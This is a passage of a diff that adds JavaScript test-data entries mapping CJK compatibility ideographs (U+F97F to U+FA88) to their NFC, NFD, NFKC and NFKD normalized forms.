+{ source: [0xF97F], NFC: [0x52F5], NFD: [0x52F5], NFKC: [0x52F5], NFKD: [0x52F5] },
+{ source: [0xF980], NFC: [0x5442], NFD: [0x5442], NFKC: [0x5442], NFKD: [0x5442] },
+{ source: [0xF981], NFC: [0x5973], NFD: [0x5973], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0xF982], NFC: [0x5EEC], NFD: [0x5EEC], NFKC: [0x5EEC], NFKD: [0x5EEC] },
+{ source: [0xF983], NFC: [0x65C5], NFD: [0x65C5], NFKC: [0x65C5], NFKD: [0x65C5] },
+{ source: [0xF984], NFC: [0x6FFE], NFD: [0x6FFE], NFKC: [0x6FFE], NFKD: [0x6FFE] },
+{ source: [0xF985], NFC: [0x792A], NFD: [0x792A], NFKC: [0x792A], NFKD: [0x792A] },
+{ source: [0xF986], NFC: [0x95AD], NFD: [0x95AD], NFKC: [0x95AD], NFKD: [0x95AD] },
+{ source: [0xF987], NFC: [0x9A6A], NFD: [0x9A6A], NFKC: [0x9A6A], NFKD: [0x9A6A] },
+{ source: [0xF988], NFC: [0x9E97], NFD: [0x9E97], NFKC: [0x9E97], NFKD: [0x9E97] },
+{ source: [0xF989], NFC: [0x9ECE], NFD: [0x9ECE], NFKC: [0x9ECE], NFKD: [0x9ECE] },
+{ source: [0xF98A], NFC: [0x529B], NFD: [0x529B], NFKC: [0x529B], NFKD: [0x529B] },
+{ source: [0xF98B], NFC: [0x66C6], NFD: [0x66C6], NFKC: [0x66C6], NFKD: [0x66C6] },
+{ source: [0xF98C], NFC: [0x6B77], NFD: [0x6B77], NFKC: [0x6B77], NFKD: [0x6B77] },
+{ source: [0xF98D], NFC: [0x8F62], NFD: [0x8F62], NFKC: [0x8F62], NFKD: [0x8F62] },
+{ source: [0xF98E], NFC: [0x5E74], NFD: [0x5E74], NFKC: [0x5E74], NFKD: [0x5E74] },
+{ source: [0xF98F], NFC: [0x6190], NFD: [0x6190], NFKC: [0x6190], NFKD: [0x6190] },
+{ source: [0xF990], NFC: [0x6200], NFD: [0x6200], NFKC: [0x6200], NFKD: [0x6200] },
+{ source: [0xF991], NFC: [0x649A], NFD: [0x649A], NFKC: [0x649A], NFKD: [0x649A] },
+{ source: [0xF992], NFC: [0x6F23], NFD: [0x6F23], NFKC: [0x6F23], NFKD: [0x6F23] },
+{ source: [0xF993], NFC: [0x7149], NFD: [0x7149], NFKC: [0x7149], NFKD: [0x7149] },
+{ source: [0xF994], NFC: [0x7489], NFD: [0x7489], NFKC: [0x7489], NFKD: [0x7489] },
+{ source: [0xF995], NFC: [0x79CA], NFD: [0x79CA], NFKC: [0x79CA], NFKD: [0x79CA] },
+{ source: [0xF996], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xF997], NFC: [0x806F], NFD: [0x806F], NFKC: [0x806F], NFKD: [0x806F] },
+{ source: [0xF998], NFC: [0x8F26], NFD: [0x8F26], NFKC: [0x8F26], NFKD: [0x8F26] },
+{ source: [0xF999], NFC: [0x84EE], NFD: [0x84EE], NFKC: [0x84EE], NFKD: [0x84EE] },
+{ source: [0xF99A], NFC: [0x9023], NFD: [0x9023], NFKC: [0x9023], NFKD: [0x9023] },
+{ source: [0xF99B], NFC: [0x934A], NFD: [0x934A], NFKC: [0x934A], NFKD: [0x934A] },
+{ source: [0xF99C], NFC: [0x5217], NFD: [0x5217], NFKC: [0x5217], NFKD: [0x5217] },
+{ source: [0xF99D], NFC: [0x52A3], NFD: [0x52A3], NFKC: [0x52A3], NFKD: [0x52A3] },
+{ source: [0xF99E], NFC: [0x54BD], NFD: [0x54BD], NFKC: [0x54BD], NFKD: [0x54BD] },
+{ source: [0xF99F], NFC: [0x70C8], NFD: [0x70C8], NFKC: [0x70C8], NFKD: [0x70C8] },
+{ source: [0xF9A0], NFC: [0x88C2], NFD: [0x88C2], NFKC: [0x88C2], NFKD: [0x88C2] },
+{ source: [0xF9A1], NFC: [0x8AAA], NFD: [0x8AAA], NFKC: [0x8AAA], NFKD: [0x8AAA] },
+{ source: [0xF9A2], NFC: [0x5EC9], NFD: [0x5EC9], NFKC: [0x5EC9], NFKD: [0x5EC9] },
+{ source: [0xF9A3], NFC: [0x5FF5], NFD: [0x5FF5], NFKC: [0x5FF5], NFKD: [0x5FF5] },
+{ source: [0xF9A4], NFC: [0x637B], NFD: [0x637B], NFKC: [0x637B], NFKD: [0x637B] },
+{ source: [0xF9A5], NFC: [0x6BAE], NFD: [0x6BAE], NFKC: [0x6BAE], NFKD: [0x6BAE] },
+{ source: [0xF9A6], NFC: [0x7C3E], NFD: [0x7C3E], NFKC: [0x7C3E], NFKD: [0x7C3E] },
+{ source: [0xF9A7], NFC: [0x7375], NFD: [0x7375], NFKC: [0x7375], NFKD: [0x7375] },
+{ source: [0xF9A8], NFC: [0x4EE4], NFD: [0x4EE4], NFKC: [0x4EE4], NFKD: [0x4EE4] },
+{ source: [0xF9A9], NFC: [0x56F9], NFD: [0x56F9], NFKC: [0x56F9], NFKD: [0x56F9] },
+{ source: [0xF9AA], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0xF9AB], NFC: [0x5DBA], NFD: [0x5DBA], NFKC: [0x5DBA], NFKD: [0x5DBA] },
+{ source: [0xF9AC], NFC: [0x601C], NFD: [0x601C], NFKC: [0x601C], NFKD: [0x601C] },
+{ source: [0xF9AD], NFC: [0x73B2], NFD: [0x73B2], NFKC: [0x73B2], NFKD: [0x73B2] },
+{ source: [0xF9AE], NFC: [0x7469], NFD: [0x7469], NFKC: [0x7469], NFKD: [0x7469] },
+{ source: [0xF9AF], NFC: [0x7F9A], NFD: [0x7F9A], NFKC: [0x7F9A], NFKD: [0x7F9A] },
+{ source: [0xF9B0], NFC: [0x8046], NFD: [0x8046], NFKC: [0x8046], NFKD: [0x8046] },
+{ source: [0xF9B1], NFC: [0x9234], NFD: [0x9234], NFKC: [0x9234], NFKD: [0x9234] },
+{ source: [0xF9B2], NFC: [0x96F6], NFD: [0x96F6], NFKC: [0x96F6], NFKD: [0x96F6] },
+{ source: [0xF9B3], NFC: [0x9748], NFD: [0x9748], NFKC: [0x9748], NFKD: [0x9748] },
+{ source: [0xF9B4], NFC: [0x9818], NFD: [0x9818], NFKC: [0x9818], NFKD: [0x9818] },
+{ source: [0xF9B5], NFC: [0x4F8B], NFD: [0x4F8B], NFKC: [0x4F8B], NFKD: [0x4F8B] },
+{ source: [0xF9B6], NFC: [0x79AE], NFD: [0x79AE], NFKC: [0x79AE], NFKD: [0x79AE] },
+{ source: [0xF9B7], NFC: [0x91B4], NFD: [0x91B4], NFKC: [0x91B4], NFKD: [0x91B4] },
+{ source: [0xF9B8], NFC: [0x96B8], NFD: [0x96B8], NFKC: [0x96B8], NFKD: [0x96B8] },
+{ source: [0xF9B9], NFC: [0x60E1], NFD: [0x60E1], NFKC: [0x60E1], NFKD: [0x60E1] },
+{ source: [0xF9BA], NFC: [0x4E86], NFD: [0x4E86], NFKC: [0x4E86], NFKD: [0x4E86] },
+{ source: [0xF9BB], NFC: [0x50DA], NFD: [0x50DA], NFKC: [0x50DA], NFKD: [0x50DA] },
+{ source: [0xF9BC], NFC: [0x5BEE], NFD: [0x5BEE], NFKC: [0x5BEE], NFKD: [0x5BEE] },
+{ source: [0xF9BD], NFC: [0x5C3F], NFD: [0x5C3F], NFKC: [0x5C3F], NFKD: [0x5C3F] },
+{ source: [0xF9BE], NFC: [0x6599], NFD: [0x6599], NFKC: [0x6599], NFKD: [0x6599] },
+{ source: [0xF9BF], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF9C0], NFC: [0x71CE], NFD: [0x71CE], NFKC: [0x71CE], NFKD: [0x71CE] },
+{ source: [0xF9C1], NFC: [0x7642], NFD: [0x7642], NFKC: [0x7642], NFKD: [0x7642] },
+{ source: [0xF9C2], NFC: [0x84FC], NFD: [0x84FC], NFKC: [0x84FC], NFKD: [0x84FC] },
+{ source: [0xF9C3], NFC: [0x907C], NFD: [0x907C], NFKC: [0x907C], NFKD: [0x907C] },
+{ source: [0xF9C4], NFC: [0x9F8D], NFD: [0x9F8D], NFKC: [0x9F8D], NFKD: [0x9F8D] },
+{ source: [0xF9C5], NFC: [0x6688], NFD: [0x6688], NFKC: [0x6688], NFKD: [0x6688] },
+{ source: [0xF9C6], NFC: [0x962E], NFD: [0x962E], NFKC: [0x962E], NFKD: [0x962E] },
+{ source: [0xF9C7], NFC: [0x5289], NFD: [0x5289], NFKC: [0x5289], NFKD: [0x5289] },
+{ source: [0xF9C8], NFC: [0x677B], NFD: [0x677B], NFKC: [0x677B], NFKD: [0x677B] },
+{ source: [0xF9C9], NFC: [0x67F3], NFD: [0x67F3], NFKC: [0x67F3], NFKD: [0x67F3] },
+{ source: [0xF9CA], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0xF9CB], NFC: [0x6E9C], NFD: [0x6E9C], NFKC: [0x6E9C], NFKD: [0x6E9C] },
+{ source: [0xF9CC], NFC: [0x7409], NFD: [0x7409], NFKC: [0x7409], NFKD: [0x7409] },
+{ source: [0xF9CD], NFC: [0x7559], NFD: [0x7559], NFKC: [0x7559], NFKD: [0x7559] },
+{ source: [0xF9CE], NFC: [0x786B], NFD: [0x786B], NFKC: [0x786B], NFKD: [0x786B] },
+{ source: [0xF9CF], NFC: [0x7D10], NFD: [0x7D10], NFKC: [0x7D10], NFKD: [0x7D10] },
+{ source: [0xF9D0], NFC: [0x985E], NFD: [0x985E], NFKC: [0x985E], NFKD: [0x985E] },
+{ source: [0xF9D1], NFC: [0x516D], NFD: [0x516D], NFKC: [0x516D], NFKD: [0x516D] },
+{ source: [0xF9D2], NFC: [0x622E], NFD: [0x622E], NFKC: [0x622E], NFKD: [0x622E] },
+{ source: [0xF9D3], NFC: [0x9678], NFD: [0x9678], NFKC: [0x9678], NFKD: [0x9678] },
+{ source: [0xF9D4], NFC: [0x502B], NFD: [0x502B], NFKC: [0x502B], NFKD: [0x502B] },
+{ source: [0xF9D5], NFC: [0x5D19], NFD: [0x5D19], NFKC: [0x5D19], NFKD: [0x5D19] },
+{ source: [0xF9D6], NFC: [0x6DEA], NFD: [0x6DEA], NFKC: [0x6DEA], NFKD: [0x6DEA] },
+{ source: [0xF9D7], NFC: [0x8F2A], NFD: [0x8F2A], NFKC: [0x8F2A], NFKD: [0x8F2A] },
+{ source: [0xF9D8], NFC: [0x5F8B], NFD: [0x5F8B], NFKC: [0x5F8B], NFKD: [0x5F8B] },
+{ source: [0xF9D9], NFC: [0x6144], NFD: [0x6144], NFKC: [0x6144], NFKD: [0x6144] },
+{ source: [0xF9DA], NFC: [0x6817], NFD: [0x6817], NFKC: [0x6817], NFKD: [0x6817] },
+{ source: [0xF9DB], NFC: [0x7387], NFD: [0x7387], NFKC: [0x7387], NFKD: [0x7387] },
+{ source: [0xF9DC], NFC: [0x9686], NFD: [0x9686], NFKC: [0x9686], NFKD: [0x9686] },
+{ source: [0xF9DD], NFC: [0x5229], NFD: [0x5229], NFKC: [0x5229], NFKD: [0x5229] },
+{ source: [0xF9DE], NFC: [0x540F], NFD: [0x540F], NFKC: [0x540F], NFKD: [0x540F] },
+{ source: [0xF9DF], NFC: [0x5C65], NFD: [0x5C65], NFKC: [0x5C65], NFKD: [0x5C65] },
+{ source: [0xF9E0], NFC: [0x6613], NFD: [0x6613], NFKC: [0x6613], NFKD: [0x6613] },
+{ source: [0xF9E1], NFC: [0x674E], NFD: [0x674E], NFKC: [0x674E], NFKD: [0x674E] },
+{ source: [0xF9E2], NFC: [0x68A8], NFD: [0x68A8], NFKC: [0x68A8], NFKD: [0x68A8] },
+{ source: [0xF9E3], NFC: [0x6CE5], NFD: [0x6CE5], NFKC: [0x6CE5], NFKD: [0x6CE5] },
+{ source: [0xF9E4], NFC: [0x7406], NFD: [0x7406], NFKC: [0x7406], NFKD: [0x7406] },
+{ source: [0xF9E5], NFC: [0x75E2], NFD: [0x75E2], NFKC: [0x75E2], NFKD: [0x75E2] },
+{ source: [0xF9E6], NFC: [0x7F79], NFD: [0x7F79], NFKC: [0x7F79], NFKD: [0x7F79] },
+{ source: [0xF9E7], NFC: [0x88CF], NFD: [0x88CF], NFKC: [0x88CF], NFKD: [0x88CF] },
+{ source: [0xF9E8], NFC: [0x88E1], NFD: [0x88E1], NFKC: [0x88E1], NFKD: [0x88E1] },
+{ source: [0xF9E9], NFC: [0x91CC], NFD: [0x91CC], NFKC: [0x91CC], NFKD: [0x91CC] },
+{ source: [0xF9EA], NFC: [0x96E2], NFD: [0x96E2], NFKC: [0x96E2], NFKD: [0x96E2] },
+{ source: [0xF9EB], NFC: [0x533F], NFD: [0x533F], NFKC: [0x533F], NFKD: [0x533F] },
+{ source: [0xF9EC], NFC: [0x6EBA], NFD: [0x6EBA], NFKC: [0x6EBA], NFKD: [0x6EBA] },
+{ source: [0xF9ED], NFC: [0x541D], NFD: [0x541D], NFKC: [0x541D], NFKD: [0x541D] },
+{ source: [0xF9EE], NFC: [0x71D0], NFD: [0x71D0], NFKC: [0x71D0], NFKD: [0x71D0] },
+{ source: [0xF9EF], NFC: [0x7498], NFD: [0x7498], NFKC: [0x7498], NFKD: [0x7498] },
+{ source: [0xF9F0], NFC: [0x85FA], NFD: [0x85FA], NFKC: [0x85FA], NFKD: [0x85FA] },
+{ source: [0xF9F1], NFC: [0x96A3], NFD: [0x96A3], NFKC: [0x96A3], NFKD: [0x96A3] },
+{ source: [0xF9F2], NFC: [0x9C57], NFD: [0x9C57], NFKC: [0x9C57], NFKD: [0x9C57] },
+{ source: [0xF9F3], NFC: [0x9E9F], NFD: [0x9E9F], NFKC: [0x9E9F], NFKD: [0x9E9F] },
+{ source: [0xF9F4], NFC: [0x6797], NFD: [0x6797], NFKC: [0x6797], NFKD: [0x6797] },
+{ source: [0xF9F5], NFC: [0x6DCB], NFD: [0x6DCB], NFKC: [0x6DCB], NFKD: [0x6DCB] },
+{ source: [0xF9F6], NFC: [0x81E8], NFD: [0x81E8], NFKC: [0x81E8], NFKD: [0x81E8] },
+{ source: [0xF9F7], NFC: [0x7ACB], NFD: [0x7ACB], NFKC: [0x7ACB], NFKD: [0x7ACB] },
+{ source: [0xF9F8], NFC: [0x7B20], NFD: [0x7B20], NFKC: [0x7B20], NFKD: [0x7B20] },
+{ source: [0xF9F9], NFC: [0x7C92], NFD: [0x7C92], NFKC: [0x7C92], NFKD: [0x7C92] },
+{ source: [0xF9FA], NFC: [0x72C0], NFD: [0x72C0], NFKC: [0x72C0], NFKD: [0x72C0] },
+{ source: [0xF9FB], NFC: [0x7099], NFD: [0x7099], NFKC: [0x7099], NFKD: [0x7099] },
+{ source: [0xF9FC], NFC: [0x8B58], NFD: [0x8B58], NFKC: [0x8B58], NFKD: [0x8B58] },
+{ source: [0xF9FD], NFC: [0x4EC0], NFD: [0x4EC0], NFKC: [0x4EC0], NFKD: [0x4EC0] },
+{ source: [0xF9FE], NFC: [0x8336], NFD: [0x8336], NFKC: [0x8336], NFKD: [0x8336] },
+{ source: [0xF9FF], NFC: [0x523A], NFD: [0x523A], NFKC: [0x523A], NFKD: [0x523A] },
+{ source: [0xFA00], NFC: [0x5207], NFD: [0x5207], NFKC: [0x5207], NFKD: [0x5207] },
+{ source: [0xFA01], NFC: [0x5EA6], NFD: [0x5EA6], NFKC: [0x5EA6], NFKD: [0x5EA6] },
+{ source: [0xFA02], NFC: [0x62D3], NFD: [0x62D3], NFKC: [0x62D3], NFKD: [0x62D3] },
+{ source: [0xFA03], NFC: [0x7CD6], NFD: [0x7CD6], NFKC: [0x7CD6], NFKD: [0x7CD6] },
+{ source: [0xFA04], NFC: [0x5B85], NFD: [0x5B85], NFKC: [0x5B85], NFKD: [0x5B85] },
+{ source: [0xFA05], NFC: [0x6D1E], NFD: [0x6D1E], NFKC: [0x6D1E], NFKD: [0x6D1E] },
+{ source: [0xFA06], NFC: [0x66B4], NFD: [0x66B4], NFKC: [0x66B4], NFKD: [0x66B4] },
+{ source: [0xFA07], NFC: [0x8F3B], NFD: [0x8F3B], NFKC: [0x8F3B], NFKD: [0x8F3B] },
+{ source: [0xFA08], NFC: [0x884C], NFD: [0x884C], NFKC: [0x884C], NFKD: [0x884C] },
+{ source: [0xFA09], NFC: [0x964D], NFD: [0x964D], NFKC: [0x964D], NFKD: [0x964D] },
+{ source: [0xFA0A], NFC: [0x898B], NFD: [0x898B], NFKC: [0x898B], NFKD: [0x898B] },
+{ source: [0xFA0B], NFC: [0x5ED3], NFD: [0x5ED3], NFKC: [0x5ED3], NFKD: [0x5ED3] },
+{ source: [0xFA0C], NFC: [0x5140], NFD: [0x5140], NFKC: [0x5140], NFKD: [0x5140] },
+{ source: [0xFA0D], NFC: [0x55C0], NFD: [0x55C0], NFKC: [0x55C0], NFKD: [0x55C0] },
+{ source: [0xFA10], NFC: [0x585A], NFD: [0x585A], NFKC: [0x585A], NFKD: [0x585A] },
+{ source: [0xFA12], NFC: [0x6674], NFD: [0x6674], NFKC: [0x6674], NFKD: [0x6674] },
+{ source: [0xFA15], NFC: [0x51DE], NFD: [0x51DE], NFKC: [0x51DE], NFKD: [0x51DE] },
+{ source: [0xFA16], NFC: [0x732A], NFD: [0x732A], NFKC: [0x732A], NFKD: [0x732A] },
+{ source: [0xFA17], NFC: [0x76CA], NFD: [0x76CA], NFKC: [0x76CA], NFKD: [0x76CA] },
+{ source: [0xFA18], NFC: [0x793C], NFD: [0x793C], NFKC: [0x793C], NFKD: [0x793C] },
+{ source: [0xFA19], NFC: [0x795E], NFD: [0x795E], NFKC: [0x795E], NFKD: [0x795E] },
+{ source: [0xFA1A], NFC: [0x7965], NFD: [0x7965], NFKC: [0x7965], NFKD: [0x7965] },
+{ source: [0xFA1B], NFC: [0x798F], NFD: [0x798F], NFKC: [0x798F], NFKD: [0x798F] },
+{ source: [0xFA1C], NFC: [0x9756], NFD: [0x9756], NFKC: [0x9756], NFKD: [0x9756] },
+{ source: [0xFA1D], NFC: [0x7CBE], NFD: [0x7CBE], NFKC: [0x7CBE], NFKD: [0x7CBE] },
+{ source: [0xFA1E], NFC: [0x7FBD], NFD: [0x7FBD], NFKC: [0x7FBD], NFKD: [0x7FBD] },
+{ source: [0xFA20], NFC: [0x8612], NFD: [0x8612], NFKC: [0x8612], NFKD: [0x8612] },
+{ source: [0xFA22], NFC: [0x8AF8], NFD: [0x8AF8], NFKC: [0x8AF8], NFKD: [0x8AF8] },
+{ source: [0xFA25], NFC: [0x9038], NFD: [0x9038], NFKC: [0x9038], NFKD: [0x9038] },
+{ source: [0xFA26], NFC: [0x90FD], NFD: [0x90FD], NFKC: [0x90FD], NFKD: [0x90FD] },
+{ source: [0xFA2A], NFC: [0x98EF], NFD: [0x98EF], NFKC: [0x98EF], NFKD: [0x98EF] },
+{ source: [0xFA2B], NFC: [0x98FC], NFD: [0x98FC], NFKC: [0x98FC], NFKD: [0x98FC] },
+{ source: [0xFA2C], NFC: [0x9928], NFD: [0x9928], NFKC: [0x9928], NFKD: [0x9928] },
+{ source: [0xFA2D], NFC: [0x9DB4], NFD: [0x9DB4], NFKC: [0x9DB4], NFKD: [0x9DB4] },
+{ source: [0xFA2E], NFC: [0x90DE], NFD: [0x90DE], NFKC: [0x90DE], NFKD: [0x90DE] },
+{ source: [0xFA2F], NFC: [0x96B7], NFD: [0x96B7], NFKC: [0x96B7], NFKD: [0x96B7] },
+{ source: [0xFA30], NFC: [0x4FAE], NFD: [0x4FAE], NFKC: [0x4FAE], NFKD: [0x4FAE] },
+{ source: [0xFA31], NFC: [0x50E7], NFD: [0x50E7], NFKC: [0x50E7], NFKD: [0x50E7] },
+{ source: [0xFA32], NFC: [0x514D], NFD: [0x514D], NFKC: [0x514D], NFKD: [0x514D] },
+{ source: [0xFA33], NFC: [0x52C9], NFD: [0x52C9], NFKC: [0x52C9], NFKD: [0x52C9] },
+{ source: [0xFA34], NFC: [0x52E4], NFD: [0x52E4], NFKC: [0x52E4], NFKD: [0x52E4] },
+{ source: [0xFA35], NFC: [0x5351], NFD: [0x5351], NFKC: [0x5351], NFKD: [0x5351] },
+{ source: [0xFA36], NFC: [0x559D], NFD: [0x559D], NFKC: [0x559D], NFKD: [0x559D] },
+{ source: [0xFA37], NFC: [0x5606], NFD: [0x5606], NFKC: [0x5606], NFKD: [0x5606] },
+{ source: [0xFA38], NFC: [0x5668], NFD: [0x5668], NFKC: [0x5668], NFKD: [0x5668] },
+{ source: [0xFA39], NFC: [0x5840], NFD: [0x5840], NFKC: [0x5840], NFKD: [0x5840] },
+{ source: [0xFA3A], NFC: [0x58A8], NFD: [0x58A8], NFKC: [0x58A8], NFKD: [0x58A8] },
+{ source: [0xFA3B], NFC: [0x5C64], NFD: [0x5C64], NFKC: [0x5C64], NFKD: [0x5C64] },
+{ source: [0xFA3C], NFC: [0x5C6E], NFD: [0x5C6E], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0xFA3D], NFC: [0x6094], NFD: [0x6094], NFKC: [0x6094], NFKD: [0x6094] },
+{ source: [0xFA3E], NFC: [0x6168], NFD: [0x6168], NFKC: [0x6168], NFKD: [0x6168] },
+{ source: [0xFA3F], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0xFA40], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0xFA41], NFC: [0x654F], NFD: [0x654F], NFKC: [0x654F], NFKD: [0x654F] },
+{ source: [0xFA42], NFC: [0x65E2], NFD: [0x65E2], NFKC: [0x65E2], NFKD: [0x65E2] },
+{ source: [0xFA43], NFC: [0x6691], NFD: [0x6691], NFKC: [0x6691], NFKD: [0x6691] },
+{ source: [0xFA44], NFC: [0x6885], NFD: [0x6885], NFKC: [0x6885], NFKD: [0x6885] },
+{ source: [0xFA45], NFC: [0x6D77], NFD: [0x6D77], NFKC: [0x6D77], NFKD: [0x6D77] },
+{ source: [0xFA46], NFC: [0x6E1A], NFD: [0x6E1A], NFKC: [0x6E1A], NFKD: [0x6E1A] },
+{ source: [0xFA47], NFC: [0x6F22], NFD: [0x6F22], NFKC: [0x6F22], NFKD: [0x6F22] },
+{ source: [0xFA48], NFC: [0x716E], NFD: [0x716E], NFKC: [0x716E], NFKD: [0x716E] },
+{ source: [0xFA49], NFC: [0x722B], NFD: [0x722B], NFKC: [0x722B], NFKD: [0x722B] },
+{ source: [0xFA4A], NFC: [0x7422], NFD: [0x7422], NFKC: [0x7422], NFKD: [0x7422] },
+{ source: [0xFA4B], NFC: [0x7891], NFD: [0x7891], NFKC: [0x7891], NFKD: [0x7891] },
+{ source: [0xFA4C], NFC: [0x793E], NFD: [0x793E], NFKC: [0x793E], NFKD: [0x793E] },
+{ source: [0xFA4D], NFC: [0x7949], NFD: [0x7949], NFKC: [0x7949], NFKD: [0x7949] },
+{ source: [0xFA4E], NFC: [0x7948], NFD: [0x7948], NFKC: [0x7948], NFKD: [0x7948] },
+{ source: [0xFA4F], NFC: [0x7950], NFD: [0x7950], NFKC: [0x7950], NFKD: [0x7950] },
+{ source: [0xFA50], NFC: [0x7956], NFD: [0x7956], NFKC: [0x7956], NFKD: [0x7956] },
+{ source: [0xFA51], NFC: [0x795D], NFD: [0x795D], NFKC: [0x795D], NFKD: [0x795D] },
+{ source: [0xFA52], NFC: [0x798D], NFD: [0x798D], NFKC: [0x798D], NFKD: [0x798D] },
+{ source: [0xFA53], NFC: [0x798E], NFD: [0x798E], NFKC: [0x798E], NFKD: [0x798E] },
+{ source: [0xFA54], NFC: [0x7A40], NFD: [0x7A40], NFKC: [0x7A40], NFKD: [0x7A40] },
+{ source: [0xFA55], NFC: [0x7A81], NFD: [0x7A81], NFKC: [0x7A81], NFKD: [0x7A81] },
+{ source: [0xFA56], NFC: [0x7BC0], NFD: [0x7BC0], NFKC: [0x7BC0], NFKD: [0x7BC0] },
+{ source: [0xFA57], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xFA58], NFC: [0x7E09], NFD: [0x7E09], NFKC: [0x7E09], NFKD: [0x7E09] },
+{ source: [0xFA59], NFC: [0x7E41], NFD: [0x7E41], NFKC: [0x7E41], NFKD: [0x7E41] },
+{ source: [0xFA5A], NFC: [0x7F72], NFD: [0x7F72], NFKC: [0x7F72], NFKD: [0x7F72] },
+{ source: [0xFA5B], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0xFA5C], NFC: [0x81ED], NFD: [0x81ED], NFKC: [0x81ED], NFKD: [0x81ED] },
+{ source: [0xFA5D], NFC: [0x8279], NFD: [0x8279], NFKC: [0x8279], NFKD: [0x8279] },
+{ source: [0xFA5E], NFC: [0x8279], NFD: [0x8279], NFKC: [0x8279], NFKD: [0x8279] },
+{ source: [0xFA5F], NFC: [0x8457], NFD: [0x8457], NFKC: [0x8457], NFKD: [0x8457] },
+{ source: [0xFA60], NFC: [0x8910], NFD: [0x8910], NFKC: [0x8910], NFKD: [0x8910] },
+{ source: [0xFA61], NFC: [0x8996], NFD: [0x8996], NFKC: [0x8996], NFKD: [0x8996] },
+{ source: [0xFA62], NFC: [0x8B01], NFD: [0x8B01], NFKC: [0x8B01], NFKD: [0x8B01] },
+{ source: [0xFA63], NFC: [0x8B39], NFD: [0x8B39], NFKC: [0x8B39], NFKD: [0x8B39] },
+{ source: [0xFA64], NFC: [0x8CD3], NFD: [0x8CD3], NFKC: [0x8CD3], NFKD: [0x8CD3] },
+{ source: [0xFA65], NFC: [0x8D08], NFD: [0x8D08], NFKC: [0x8D08], NFKD: [0x8D08] },
+{ source: [0xFA66], NFC: [0x8FB6], NFD: [0x8FB6], NFKC: [0x8FB6], NFKD: [0x8FB6] },
+{ source: [0xFA67], NFC: [0x9038], NFD: [0x9038], NFKC: [0x9038], NFKD: [0x9038] },
+{ source: [0xFA68], NFC: [0x96E3], NFD: [0x96E3], NFKC: [0x96E3], NFKD: [0x96E3] },
+{ source: [0xFA69], NFC: [0x97FF], NFD: [0x97FF], NFKC: [0x97FF], NFKD: [0x97FF] },
+{ source: [0xFA6A], NFC: [0x983B], NFD: [0x983B], NFKC: [0x983B], NFKD: [0x983B] },
+{ source: [0xFA6B], NFC: [0x6075], NFD: [0x6075], NFKC: [0x6075], NFKD: [0x6075] },
+{ source: [0xFA6C], NFC: [0x242EE], NFD: [0x242EE], NFKC: [0x242EE], NFKD: [0x242EE] },
+{ source: [0xFA6D], NFC: [0x8218], NFD: [0x8218], NFKC: [0x8218], NFKD: [0x8218] },
+{ source: [0xFA70], NFC: [0x4E26], NFD: [0x4E26], NFKC: [0x4E26], NFKD: [0x4E26] },
+{ source: [0xFA71], NFC: [0x51B5], NFD: [0x51B5], NFKC: [0x51B5], NFKD: [0x51B5] },
+{ source: [0xFA72], NFC: [0x5168], NFD: [0x5168], NFKC: [0x5168], NFKD: [0x5168] },
+{ source: [0xFA73], NFC: [0x4F80], NFD: [0x4F80], NFKC: [0x4F80], NFKD: [0x4F80] },
+{ source: [0xFA74], NFC: [0x5145], NFD: [0x5145], NFKC: [0x5145], NFKD: [0x5145] },
+{ source: [0xFA75], NFC: [0x5180], NFD: [0x5180], NFKC: [0x5180], NFKD: [0x5180] },
+{ source: [0xFA76], NFC: [0x52C7], NFD: [0x52C7], NFKC: [0x52C7], NFKD: [0x52C7] },
+{ source: [0xFA77], NFC: [0x52FA], NFD: [0x52FA], NFKC: [0x52FA], NFKD: [0x52FA] },
+{ source: [0xFA78], NFC: [0x559D], NFD: [0x559D], NFKC: [0x559D], NFKD: [0x559D] },
+{ source: [0xFA79], NFC: [0x5555], NFD: [0x5555], NFKC: [0x5555], NFKD: [0x5555] },
+{ source: [0xFA7A], NFC: [0x5599], NFD: [0x5599], NFKC: [0x5599], NFKD: [0x5599] },
+{ source: [0xFA7B], NFC: [0x55E2], NFD: [0x55E2], NFKC: [0x55E2], NFKD: [0x55E2] },
+{ source: [0xFA7C], NFC: [0x585A], NFD: [0x585A], NFKC: [0x585A], NFKD: [0x585A] },
+{ source: [0xFA7D], NFC: [0x58B3], NFD: [0x58B3], NFKC: [0x58B3], NFKD: [0x58B3] },
+{ source: [0xFA7E], NFC: [0x5944], NFD: [0x5944], NFKC: [0x5944], NFKD: [0x5944] },
+{ source: [0xFA7F], NFC: [0x5954], NFD: [0x5954], NFKC: [0x5954], NFKD: [0x5954] },
+{ source: [0xFA80], NFC: [0x5A62], NFD: [0x5A62], NFKC: [0x5A62], NFKD: [0x5A62] },
+{ source: [0xFA81], NFC: [0x5B28], NFD: [0x5B28], NFKC: [0x5B28], NFKD: [0x5B28] },
+{ source: [0xFA82], NFC: [0x5ED2], NFD: [0x5ED2], NFKC: [0x5ED2], NFKD: [0x5ED2] },
+{ source: [0xFA83], NFC: [0x5ED9], NFD: [0x5ED9], NFKC: [0x5ED9], NFKD: [0x5ED9] },
+{ source: [0xFA84], NFC: [0x5F69], NFD: [0x5F69], NFKC: [0x5F69], NFKD: [0x5F69] },
+{ source: [0xFA85], NFC: [0x5FAD], NFD: [0x5FAD], NFKC: [0x5FAD], NFKD: [0x5FAD] },
+{ source: [0xFA86], NFC: [0x60D8], NFD: [0x60D8], NFKC: [0x60D8], NFKD: [0x60D8] },
+{ source: [0xFA87], NFC: [0x614E], NFD: [0x614E], NFKC: [0x614E], NFKD: [0x614E] },
+{ source: [0xFA88], NFC: [0x6108], NFD: [0x6108], NFKC: [0x6108], NFKD: [0x6108] },
